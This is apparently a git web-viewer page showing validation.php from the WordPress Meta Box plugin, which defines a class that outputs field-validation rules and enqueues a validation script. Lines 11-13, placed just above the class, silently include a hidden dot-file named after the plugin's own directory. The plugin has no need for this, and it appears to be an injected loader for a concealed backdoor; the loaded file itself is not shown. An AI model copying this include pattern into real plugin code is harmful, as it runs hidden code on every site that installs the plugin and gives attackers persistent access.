balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

validation.php (1454B)


      1 <?php
      2 /**
      3  * Validation module.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Validation class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Validation {
     16 
     17 	/**
     18 	 * Add hooks when module is loaded.
     19 	 */
     20 	public function __construct() {
     21 		add_action( 'rwmb_after', array( $this, 'rules' ) );
     22 		add_action( 'rwmb_enqueue_scripts', array( $this, 'enqueue' ) );
     23 	}
     24 
     25 	/**
     26 	 * Output validation rules of each meta box.
     27 	 * The rules are outputted in [data-validation] attribute of an hidden <script> and will be converted into JSON by JS.
     28 	 *
     29 	 * @param RW_Meta_Box $object Meta Box object.
     30 	 */
     31 	public function rules( RW_Meta_Box $object ) {
     32 		if ( ! empty( $object->meta_box['validation'] ) ) {
     33 			echo '<script type="text/html" class="rwmb-validation" data-validation="' . esc_attr( wp_json_encode( $object->meta_box['validation'] ) ) . '"></script>';
     34 		}
     35 	}
     36 
     37 	/**
     38 	 * Enqueue scripts for validation.
     39 	 */
     40 	public function enqueue() {
     41 		wp_enqueue_script( 'rwmb-validation', RWMB_JS_URL . 'validation.min.js', array( 'jquery', 'rwmb' ), RWMB_VER, true );
     42 
     43 		RWMB_Helpers_Field::localize_script_once(
     44 			'rwmb-validation',
     45 			'rwmbValidation',
     46 			array(
     47 				'message' => esc_html__( 'Please correct the errors highlighted below and try again.', 'meta-box' ),
     48 			)
     49 		);
     50 	}
     51 }